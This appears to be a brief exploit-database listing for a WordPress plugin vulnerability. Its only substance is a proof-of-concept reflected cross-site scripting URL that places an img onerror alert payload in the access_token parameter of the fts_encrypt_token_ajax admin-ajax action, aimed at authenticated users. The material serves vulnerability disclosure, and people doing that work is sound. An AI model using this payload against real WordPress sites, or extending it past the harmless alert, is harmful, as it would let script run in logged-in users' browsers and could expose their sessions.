Share
## https://sploitus.com/exploit?id=WPEX-ID:07278B12-58E6-4230-B2FB-19237E9785D8
Against any authenticated user:

https://example.com/wp-admin/admin-ajax.php?action=fts_encrypt_token_ajax&access_token=%3Cimg%20src=x%20onerror=alert(/XSS/)%3E